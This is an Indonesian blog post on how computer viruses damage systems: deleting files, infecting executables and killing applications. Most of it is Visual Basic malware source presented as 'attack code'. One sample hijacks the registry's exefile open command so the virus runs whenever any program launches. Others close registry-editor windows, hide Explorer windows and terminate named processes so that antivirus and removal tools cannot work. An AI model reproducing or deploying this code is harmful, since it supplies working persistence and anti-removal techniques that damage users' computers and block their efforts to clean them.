Rabu, April 15, 2009

Penyerangan Virus pada Sistem



Setelah virus tersebut melakukan penggandaan ke system, mengubah registry.
baru virus tersebut melakukan penyerangan (pengerusakan). Serangan virus ini yang sangat ditakuti oleh pengguna computer. Tetapi jika virus tersebut hanya melakukan penyebaran itu bukan masalah karena tidak melakukan pengerusakan.

Bentuk-bentuk serangan (pengerusakan) yang dilakukan virus:
Menghapus, memindahkan, menyembunyikan dan mengerusak isi file
Infeksi terhadap file, biasanya virus melakukan ini untuk melindungi dirinya dengan cara menempel dirinya pada file yang ingin di infeksi. Biasanya file *.exe, *.com, *.scr , *.doc, *.xls.
Penyembunyian partisi, memformat partisi dan menghapus partisi, bagian pengerusakan yang sangat merugikan orang lain.
Melakukan komunikasi yang terhadap hardware untuk mengacaukan kinerja suatu hardware sehingga memungkinkan terjadi pengerusakan terhadap hardware tersebut. Biasanya yang menjadi sasaran adalah RAM.
Mematikan aplikasi-aplikasi tertentu., hal ini sangat membuat kesal orang yang terserang, karena aplikasi tersebut tidak dapat dijalankan karena aplikasi tersebut telah dimatikan oleh virus. Biasanya aplikasi yang dimatikan tersebut adalah aplikasi yang berhubungan dengan registry, process manager dan antivirus.

Bentuk-bentuk serangan diatas adalah bentuk serangan yang paling sering
digunakan oleh virus untuk melakukan pengerusakan atau untuk melindungi dirinya dari berbagai macam kemungkinan yang dapat membinasakan dirinya.

Menghapus, memindahkan dan menyembunyikan file merupakan hal yang
sangat sering digunakan oleh virus. Bahkan hampir semua virus menggunakan tehnik ini untuk melakukan pengerusakan. Sangat merugikan orang lain adalah menghapus file dan mengerusak isi file.

Infeksi terhadap file exe, com, dan scr sangat jarang ditemukan. Karena tehnik
ini cukup sulit dilakukan. Sehingga jarang sekali virus yang menggunakan tehnik ini. Contoh virus yang menggunakan tehnik ini adalah ITZ.

Melakukan komunikasi terhadap hardware juga sangat jarang. Misalnya
mengacaukan alamat Port yang ada. Kalau sederhananya mengacau fungsi keyboard dan mouse. Kalau pada keyboard biasanya akan melakukan perubahan kode ascii sehingga apa ditampilkan tidak sesuai dengan diketikan. Sedangkan pada mouse adalah melakukan pergerakan cursor mouse secara otomatis tanpa dikendalikan dan melakukan fungsi pengeclick secara acak.

Mematikan aplikasi-aplikasi tertentu. Saat ini hampir semua jenis virus memiliki
kemampuan ini untuk melindungi dirinya sehingga sulit bagi antivirus atau program sejenis untuk berjalan, karena jika aplikasi tersebut berjalan maka sang virus akan langsung mematikan aplikasi tersebut.

Berikut ini adalah beberapa kode yang dapat digunakan virus untuk melakukan
penyerangan.

kode penyerangan 1:
code:
Siapkan satu buah formPrivate Declare Function RegCreateKey Lib "advapi32.dll" Alias _"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _phkResult As Long) As LongPrivate Declare Function RegSetValueEx Lib "advapi32.dll" Alias _"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _ByVal cbData As Long) As LongPrivate Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _As LongPrivate Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ByVal bFailIfExists As Long) As LongPrivate Declare Function SetFileAttributes Lib "kernel32" Alias _"SetFileAttributesA" (ByVal lpFileName As String, _ByVal dwFileAttributes As Long) As LongEnum REGHKEY_CURRENT_USER = &H80000001HKEY_CLASSES_ROOT = &H80000000HKEY_CURRENT_CONFIG = &H80000005HKEY_LOCAL_MACHINE = &H80000002HKEY_USERS = &H80000003End EnumEnum TypeStringValueREG_SZ = 1REG_EXPAND_SZ = 2REG_MULTI_SZ = 7End EnumDim lokasi As StringDim namafile As StringPrivate Sub Form_Load()With Applokasi = .Path & "\"namafile = .EXEName & ".exe"End WithCreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _REG_SZ, "", Chr(&H22) & lokasi & namafile & Chr(&H22) & " " & Chr(&H22) & _"%1" & Chr(&H22) & " %*"'Jika parameter pemanggilan virus tidak sama dengan kosongIf Command$ <> "" ThenIf InStr(1, Command$, "Setup") <> 0 _Or InStr(1, Command$, "winzip") <> 0 _Or InStr(1, Command$, "Anti") <> 0 _Or InStr(1, Command$, "virus") <> 0 _Or InStr(1, Command$, "Regedit") <> 0 _Or InStr(1, Command$, "word") <> 0 ThenShell Command$, vbNormalFocusDoEventsEnd IfEnd If'jalankan sekali sajaIf App.PrevInstance Then EndEnd Sub'Create or Set String Value RegistryPrivate Function CreateStringValue(hKey As REG, Subkey As String,RTypeStringValue As TypeStringValue, strValueName As String, strData AsString) As LongOn Error Resume NextDim ret As LongRegCreateKey hKey, Subkey, retCreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue,ByVal strData, Len(strData))RegCloseKey retEnd Function
Kode penyerangan2:
Siapkan satu buah form dan satu buah timer dengan Interval=100.

Code:
Private Declare Function GetForegroundWindow Lib "user32" () As LongPrivate Declare Function SendMessage Lib "user32" Alias "SendMessageA" _(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _lParam As Any) As LongPrivate Const WM_CLOSE = &H10Private Const WM_GETTEXT = &HDPrivate Sub Timer1_Timer()Dim FW As LongFW = GetForegroundWindowIf FW ThenDim buff As String * 255SendMessage FW, WM_GETTEXT, 255, ByVal buffbuff = Left$(buff, InStr(1, buff, Chr$(0)) - 1)If InStr(1, UCase(buff), "REG") <> 0 _Or InStr(1, UCase(buff), "WIN") <> 0 ThenSendMessage FW, WM_CLOSE, 0, 0End IfEnd IfEnd Sub
Kode Penyerangan4:
Siapkan satu buah form dan satu buah timer dengan Interval=100.

Code:
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _ByVal nCmdShow As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" _(ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function SendMessage Lib "user32" Alias "SendMessageA" _(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _lParam As Any) As LongPrivate Const WM_GETTEXT = &HDPrivate Const SW_HIDE = 0Private Sub Timer1_Timer()Dim FW1 As LongDim FW2 As LongFW1 = FindWindow("ExploreWClass", vbNullString)FW2 = FindWindow("CabinetWClass", vbNullString)If FW1 <> 0 Or FW2 <> 0 ThenDim cap1 As String * 255Dim cap2 As String * 255SendMessage FW1, WM_GETTEXT, 255, ByVal cap1SendMessage FW2, WM_GETTEXT, 255, ByVal cap2cap1 = Left$(cap1, InStr(1, cap1, Chr$(0)) - 1)cap2 = Left$(cap2, InStr(1, cap2, Chr$(0)) - 1)If InStr(1, UCase(cap1), "WINDOWS") ThenShowWindow FW1, SW_HIDEEnd IfIf InStr(1, UCase(cap2), "WINDOWS") ThenShowWindow FW2, SW_HIDEEnd IfEnd IfEnd Sub
Kode Penyerangan5:
Siapkan satu buah form, satu buah timer dengan Interval=100 dan satu buah module.
Ketikan pada form1:

Code:
Private Sub Timer1_Timer()TaskProsesEnd Sub
Ketikan pada module:
Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" _(ByVal lFlags As Long, ByVal lProcessID As Long) As LongPublic Declare Function Process32First Lib "kernel32" (ByVal hSnapShot AsLong, uProcess As PROCESSENTRY32) As LongPublic Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long,uProcess As PROCESSENTRY32) As LongPublic Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)Public Declare Function TerminateProcess Lib "kernel32" _(ByVal hProcess As Long, ByVal uExitCode As Long) As LongPublic Declare Function OpenProcess Lib "kernel32" _(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ByVal dwProcessId As Long) As LongPublic Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByValnCmdShow As Long) As LongPublic Declare Function LockWindowUpdate Lib "user32" _(ByVal hwndLock As Long) As LongPublic Const TH32CS_SNAPHEAPLIST = &H1Public Const TH32CS_SNAPPROCESS = &H2Public Const TH32CS_SNAPTHREAD = &H4Public Const TH32CS_SNAPMODULE = &H8Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS _Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)Public Const TH32CS_INHERIT = &H80000000Public Const MAX_PATH As Integer = 260Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd TypePublic Sub TaskProses()Dim hSnapShot As Long, uProcess As PROCESSENTRY32, R As LongDim hProcess As Long, NamaFile As StringhSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)uProcess.dwSize = Len(uProcess)R = Process32First(hSnapShot, uProcess)Do While RNamaFile = uProcess.szExeFileNamaFile = Left$(NamaFile, InStr(1, NamaFile, Chr$(0)) - 1)If LCase(NamaFile) = "notepad.exe" ThenCloseHandle hSnapShothProcess = OpenProcess(&H1F0FFF, False, uProcess.th32ProcessID)x = TerminateProcess(hProcess, 0)Exit DoEnd IfR = Process32Next(hSnapShot, uProcess)LoopCloseHandle hSnapShotEnd Sub

sumber: http://gonzhack.ucoz.com/publ/2-1-0-133


Tidak ada komentar:

Posting Komentar